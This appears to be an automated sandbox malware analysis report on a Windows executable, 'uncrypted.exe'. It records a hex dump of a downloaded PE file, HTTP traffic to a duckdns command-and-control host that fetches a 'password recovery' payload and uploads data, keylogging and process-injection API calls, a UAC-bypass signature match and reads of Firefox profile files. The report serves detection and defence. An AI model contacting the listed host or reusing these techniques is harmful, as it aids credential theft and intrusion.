HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 31 Dec 2024 06:33:02 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Mon, 11 Nov 2024 02:14:28 GMTETag: "f9600-62699a90923c5"Accept-Ranges: bytesContent-Length: 1021440Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a9 c8 8b 75 ed a9 e5 26 ed a9 e5 26 ed a9 e5 26 f6 34 7b 26 e7 a9 e5 26 e4 d1 62 26 ec a9 e5 26 e4 d1 76 26 fc a9 e5 26 ed a9 e4 26 72 a9 e5 26 f6 34 4e 26 d9 a9 e5 26 f6 34 4f 26 90 a9 e5 26 f6 34 78 26 ec a9 e5 26 52 69 63 68 ed a9 e5 26 00 00 00 00 00 00 00 00 50 45 00 00 64 86 05 00 84 68 31 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0a 00 00 44 0d 00 00 b6 02 00 00 00 00 00 b8 49 0c 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 30 10 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 6e 0e 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 a0 0f 00 40 65 00 00 00 00 00 00 00 00 00 00 00 10 10 00 08 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 0d 00 f8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 42 0d 00 00 10 00 00 00 44 0d 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 02 1f 01 00 00 60 0d 00 00 20 01 00 00 48 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 10 13 01 00 00 80 0e 00 00 ac 00 00 00 68 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 40 65 00 00 00 a0 0f 00 00 66 00 00 00 14 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 9a 1a 00 00 00 10 10 00 00 1c 00 00 00 7a 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: Joe Sandbox View

ASN Name: VODAFONE-IT-ASNIT VODAFONE-IT-ASNIT

Source: global traffic	HTTP traffic detected: GET /PASSWORDRECOVERY64EXE.EXE HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0Host: jholo.duckdns.org:8181
Source: global traffic	HTTP traffic detected: POST /upload.php HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=partHost: jholo.duckdns.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0Content-Length: 422
Source: global traffic	HTTP traffic detected: POST /upload.php HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=partHost: jholo.duckdns.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0Content-Length: 417
Source: global traffic	HTTP traffic detected: POST /upload.php HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=partHost: jholo.duckdns.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0Content-Length: 541
Source: global traffic	HTTP traffic detected: POST /upload.php HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=partHost: jholo.duckdns.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0Content-Length: 536

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\explorer.exe

Code function: 3_2_011B34A0 recv,

3_2_011B34A0

Source: global traffic

HTTP traffic detected: GET /PASSWORDRECOVERY64EXE.EXE HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0Host: jholo.duckdns.org:8181

Source: global traffic

DNS traffic detected: DNS query: jholo.duckdns.org

Source: unknown

HTTP traffic detected: POST /upload.php HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=partHost: jholo.duckdns.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0Content-Length: 422

Source: explorer.exe, 00000004.00000002.2084613311.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jholo.duckdns.org:8181/
Source: explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jholo.duckdns.org:8181/L
Source: uncrypted.exe, 00000000.00000002.2055171521.0000000003DBC000.00000004.00000800.00020000.00000000.sdmp, uncrypted.exe, 00000000.00000002.2055171521.0000000004175000.00000004.00000800.00020000.00000000.sdmp, uncrypted.exe, 00000000.00000002.2055171521.0000000003F81000.00000004.00000800.00020000.00000000.sdmp, uncrypted.exe, 00000000.00000002.2055171521.00000000040F5000.00000004.00000800.00020000.00000000.sdmp, uncrypted.exe, 00000002.00000002.2041122621.0000000000475000.00000040.00000400.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://jholo.duckdns.org:8181/PASSWORDRECOVERY32EXE.EXEhttp://jholo.duckdns.org:8181/PASSWORDRECOVER
Source: explorer.exe, explorer.exe, 00000003.00000003.2659390305.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3291325405.0000000000F1E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3291451466.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jholo.duckdns.org:8181/PASSWORDRECOVERY64EXE.EXE
Source: explorer.exe, 00000004.00000002.2084613311.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jholo.duckdns.org:8181/l
Source: explorer.exe, 00000004.00000002.2084613311.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jholo.duckdns.org:8181/llu
Source: explorer.exe, 00000004.00000002.2084613311.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jholo.duckdns.org:8181/n
Source: explorer.exe, explorer.exe, 00000004.00000002.2084613311.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2084150348.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083994285.0000000002DF0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D2D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.2084578102.0000000000C69000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.2085034739.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.2084841084.0000000000F58000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.2085061884.0000000002DF0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2084288266.0000000002DC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jholo.duckdns.org:8181/upload.php
Source: explorer.exe, 00000004.00000002.2084613311.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jholo.duckdns.org:8181/upload.php8
Source: explorer.exe, 00000004.00000002.2084613311.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jholo.duckdns.org:8181/upload.phpcp=
Source: explorer.exe, 00000004.00000002.2084613311.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jholo.duckdns.org:8181/upload.phphic
Source: explorer.exe, 00000004.00000002.2084578102.0000000000C69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jholo.duckdns.org:8181/upload.phporage
Source: explorer.exe, 00000004.00000002.2084613311.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2083842360.0000000000D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jholo.duckdns.org:8181/upload.phpy=part

Source: C:\Users\user\Desktop\uncrypted.exe

Code function: 2_2_00413200 GetAsyncKeyState,Sleep,

2_2_00413200

Source: explorer.exe, 00000003.00000002.3291834167.0000000003600000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ENCMARK RegisterRawInputDevices

memstr_130513a5-d

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.uncrypted.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 2.2.uncrypted.exe.11edea0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0.2.uncrypted.exe.4081f90.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 2.2.uncrypted.exe.11edea0.1.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0.2.uncrypted.exe.41021c0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 3.2.explorer.exe.1190000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0.2.uncrypted.exe.4081f90.4.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 2.2.uncrypted.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0.2.uncrypted.exe.41021c0.2.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 4.2.explorer.exe.e70000.0.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen

Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_00410D50 Wow64DisableWow64FsRedirection,_memset,_memset,CreateProcessW,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,_memmove,_memmove,_memmove,lstrcpyW,lstrcpyW,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,_memmove,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,Wow64DisableWow64FsRedirection,CloseHandle,CloseHandle,Wow64DisableWow64FsRedirection,	2_2_00410D50
Source: C:\Windows\explorer.exe	Code function: 3_2_011A0740 CreateProcessW,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,LoadLibraryW,GetProcAddress,GetProcAddress,lstrcpyW,lstrcpyW,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,lstrcpyA,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,CreateEventW,RtlCreateUserThread,WaitForSingleObject,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtClose,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,CloseHandle,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,TerminateProcess,CloseHandle,CloseHandle,	3_2_011A0740
Source: C:\Windows\explorer.exe	Code function: 3_2_01197940 GetCurrentProcess,CreateProcessW,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,GetThreadContext,SetThreadContext,ResumeThread,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtUnmapViewOfSection,NtClose,CloseHandle,CloseHandle,TerminateProcess,	3_2_01197940
Source: C:\Windows\explorer.exe	Code function: 3_2_011A11A4 CloseHandle,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,NtUnmapViewOfSection,NtClose,TerminateProcess,CloseHandle,CloseHandle,	3_2_011A11A4

Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_01210D58	0_2_01210D58
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_01210D4F	0_2_01210D4F
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 0_2_01211329	0_2_01211329
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_004268E4	2_2_004268E4
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_004258F7	2_2_004258F7
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_0042612A	2_2_0042612A
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_0040E1E0	2_2_0040E1E0
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_0043127F	2_2_0043127F
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_00432BE4	2_2_00432BE4
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_004264FC	2_2_004264FC
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_00430D2E	2_2_00430D2E
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_00425D8C	2_2_00425D8C
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_0041BEE0	2_2_0041BEE0
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_00431EAC	2_2_00431EAC
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_0041BF39	2_2_0041BF39
Source: C:\Users\user\Desktop\uncrypted.exe	Code function: 2_2_004317D0	2_2_004317D0
Source: C:\Windows\explorer.exe	Code function: 3_2_01191000	3_2_01191000
Source: C:\Windows\explorer.exe	Code function: 3_2_011B2340	3_2_011B2340
Source: C:\Windows\explorer.exe	Code function: 3_2_011A9D20	3_2_011A9D20
Source: C:\Windows\explorer.exe	Code function: 3_2_011A0740	3_2_011A0740
Source: C:\Windows\explorer.exe	Code function: 3_2_011AD600	3_2_011AD600
Source: C:\Windows\explorer.exe	Code function: 3_2_011B5E50	3_2_011B5E50
Source: C:\Windows\explorer.exe	Code function: 3_2_01197940	3_2_01197940
Source: C:\Windows\explorer.exe	Code function: 3_2_011BF964	3_2_011BF964
Source: C:\Windows\explorer.exe	Code function: 3_2_011BE9BC	3_2_011BE9BC
Source: C:\Windows\explorer.exe	Code function: 3_2_011AD030	3_2_011AD030
Source: C:\Windows\explorer.exe	Code function: 3_2_0119B8B0	3_2_0119B8B0
Source: C:\Windows\explorer.exe	Code function: 3_2_0119E8C0	3_2_0119E8C0
Source: C:\Windows\explorer.exe	Code function: 3_2_0119A8C0	3_2_0119A8C0
Source: C:\Windows\explorer.exe	Code function: 3_2_011C3B2C	3_2_011C3B2C
Source: C:\Windows\explorer.exe	Code function: 3_2_011B23B6	3_2_011B23B6
Source: C:\Windows\explorer.exe	Code function: 3_2_011C53F8	3_2_011C53F8
Source: C:\Windows\explorer.exe	Code function: 3_2_0119CBF0	3_2_0119CBF0
Source: C:\Windows\explorer.exe	Code function: 3_2_011A12B0	3_2_011A12B0
Source: C:\Windows\explorer.exe	Code function: 3_2_011B9D1C	3_2_011B9D1C
Source: C:\Windows\explorer.exe	Code function: 3_2_011AA510	3_2_011AA510
Source: C:\Windows\explorer.exe	Code function: 3_2_011AC501	3_2_011AC501
Source: C:\Windows\explorer.exe	Code function: 3_2_011AAD50	3_2_011AAD50
Source: C:\Windows\explorer.exe	Code function: 3_2_01194DA0	3_2_01194DA0
Source: C:\Windows\explorer.exe	Code function: 3_2_011BCC2C	3_2_011BCC2C
Source: C:\Windows\explorer.exe	Code function: 3_2_011C5C5C	3_2_011C5C5C
Source: C:\Windows\explorer.exe	Code function: 3_2_011AC480	3_2_011AC480
Source: C:\Windows\explorer.exe	Code function: 3_2_011C6708	3_2_011C6708
Source: C:\Windows\explorer.exe	Code function: 3_2_011B2790	3_2_011B2790
Source: C:\Windows\explorer.exe	Code function: 3_2_0119DE20	3_2_0119DE20
Source: C:\Windows\explorer.exe	Code function: 3_2_011A2690	3_2_011A2690
Source: C:\Windows\explorer.exe	Code function: 3_2_01197EF0	3_2_01197EF0
Source: C:\Windows\explorer.exe	Code function: 4_2_00E71000	4_2_00E71000
Source: C:\Windows\explorer.exe	Code function: 4_2_00E792B0	4_2_00E792B0
Source: C:\Windows\explorer.exe	Code function: 4_2_00E733A0	4_2_00E733A0
Source: C:\Windows\explorer.exe	Code function: 4_2_00E754C0	4_2_00E754C0
Source: C:\Windows\explorer.exe	Code function: 4_2_00E76D60	4_2_00E76D60
Source: C:\Windows\explorer.exe	Code function: 4_2_00F08090	4_2_00F08090
Source: C:\Windows\explorer.exe	Code function: 4_2_00F30190	4_2_00F30190
Source: C:\Windows\explorer.exe	Code function: 4_2_00E86180	4_2_00E86180
Source: C:\Windows\explorer.exe	Code function: 4_2_00F183B0	4_2_00F183B0
Source: C:\Windows\explorer.exe	Code function: 4_2_00F31370	4_2_00F31370
Source: C:\Windows\explorer.exe	Code function: 4_2_00EFA300	4_2_00EFA300
Source: C:\Windows\explorer.exe	Code function: 4_2_00EA0490	4_2_00EA0490
Source: C:\Windows\explorer.exe	Code function: 4_2_00EF6400	4_2_00EF6400
Source: C:\Windows\explorer.exe	Code function: 4_2_00F3D5A8	4_2_00F3D5A8
Source: C:\Windows\explorer.exe	Code function: 4_2_00F3A564	4_2_00F3A564
Source: C:\Windows\explorer.exe	Code function: 4_2_00E76530	4_2_00E76530
Source: C:\Windows\explorer.exe	Code function: 4_2_00E7A690	4_2_00E7A690
Source: C:\Windows\explorer.exe	Code function: 4_2_00F307F0	4_2_00F307F0
Source: C:\Windows\explorer.exe	Code function: 4_2_00F3B73C	4_2_00F3B73C
Source: C:\Windows\explorer.exe	Code function: 4_2_00F0271A	4_2_00F0271A
Source: C:\Windows\explorer.exe	Code function: 4_2_00F3A9E4	4_2_00F3A9E4
Source: C:\Windows\explorer.exe	Code function: 4_2_00F31980	4_2_00F31980
Source: C:\Windows\explorer.exe	Code function: 4_2_00E8DB40	4_2_00E8DB40
Source: C:\Windows\explorer.exe	Code function: 4_2_00F2FCE0	4_2_00F2FCE0
Source: C:\Windows\explorer.exe	Code function: 4_2_00F35CE0	4_2_00F35CE0
Source: C:\Windows\explorer.exe	Code function: 4_2_00F34C84	4_2_00F34C84
Source: C:\Windows\explorer.exe	Code function: 4_2_00E7ADF0	4_2_00E7ADF0
Source: C:\Windows\explorer.exe	Code function: 4_2_00F33DA0	4_2_00F33DA0
Source: C:\Windows\explorer.exe	Code function: 4_2_00EA3DB0	4_2_00EA3DB0
Source: C:\Windows\explorer.exe	Code function: 4_2_00EFEDB0	4_2_00EFEDB0
Source: C:\Windows\explorer.exe	Code function: 4_2_00F0FD60	4_2_00F0FD60
Source: C:\Windows\explorer.exe	Code function: 4_2_00E75D00	4_2_00E75D00
Source: C:\Windows\explorer.exe	Code function: 4_2_00F30EB0	4_2_00F30EB0
Source: C:\Windows\explorer.exe	Code function: 4_2_00F01E7F	4_2_00F01E7F
Source: C:\Windows\explorer.exe	Code function: 4_2_00F3AFD0	4_2_00F3AFD0

Source: C:\Windows\explorer.exe	Code function: String function: 00EC3BD0 appears 137 times
Source: C:\Windows\explorer.exe	Code function: String function: 011B84A8 appears 48 times
Source: C:\Windows\explorer.exe	Code function: String function: 00E85B10 appears 59 times
Source: C:\Windows\explorer.exe	Code function: String function: 00EA2F20 appears 47 times

Source: uncrypted.exe, 00000000.00000002.2050791832.000000000109E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs uncrypted.exe
Source: uncrypted.exe, 00000000.00000000.2031882370.00000000009A9000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFour.exeL vs uncrypted.exe
Source: uncrypted.exe	Binary or memory string: OriginalFilenameFour.exeL vs uncrypted.exe

Source: uncrypted.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.2.uncrypted.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 2.2.uncrypted.exe.11edea0.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0.2.uncrypted.exe.4081f90.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 2.2.uncrypted.exe.11edea0.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0.2.uncrypted.exe.41021c0.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 3.2.explorer.exe.1190000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0.2.uncrypted.exe.4081f90.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 2.2.uncrypted.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0.2.uncrypted.exe.41021c0.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 4.2.explorer.exe.e70000.0.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)

Source: uncrypted.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@7/2@3/1

Source: C:\Windows\explorer.exe

Code function: 3_2_01191BA0 CreateToolhelp32Snapshot,Process32FirstW,lstrcmpiW,OpenProcess,TerminateProcess,CloseHandle,Process32NextW,CloseHandle,

3_2_01191BA0

Source: C:\Users\user\Desktop\uncrypted.exe

Code function: 2_2_00407280 _memset,_memset,CoCreateInstance,_memset,__snwprintf,_memset,

2_2_00407280

Source: C:\Users\user\Desktop\uncrypted.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\uncrypted.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\uncrypted.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\uncrypted.exe	Mutant created: \Sessions\1\BaseNamedObjects\{BBD69D41-7ECF-4B3B-8592-7E70DE12B303}
Source: C:\Users\user\Desktop\uncrypted.exe	Mutant created: \Sessions\1\BaseNamedObjects\{CCDA2DA7-D4F8-4F83-BFB6-45A8FDBB92EB}
Source: C:\Users\user\Desktop\uncrypted.exe	Mutant created: \Sessions\1\BaseNamedObjects\{254EC4A5-B06F-451B-BA3F-2BA8CE48C450}
Source: C:\Users\user\Desktop\uncrypted.exe	Mutant created: \Sessions\1\BaseNamedObjects\{56B2BCE6-A24C-48AB-82DC-EE1FC9C9389D}

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\DATABASE

Jump to behavior

Source: C:\Users\user\Desktop\uncrypted.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\Desktop\uncrypted.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior

Source: uncrypted.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: uncrypted.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\explorer.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\uncrypted.exe

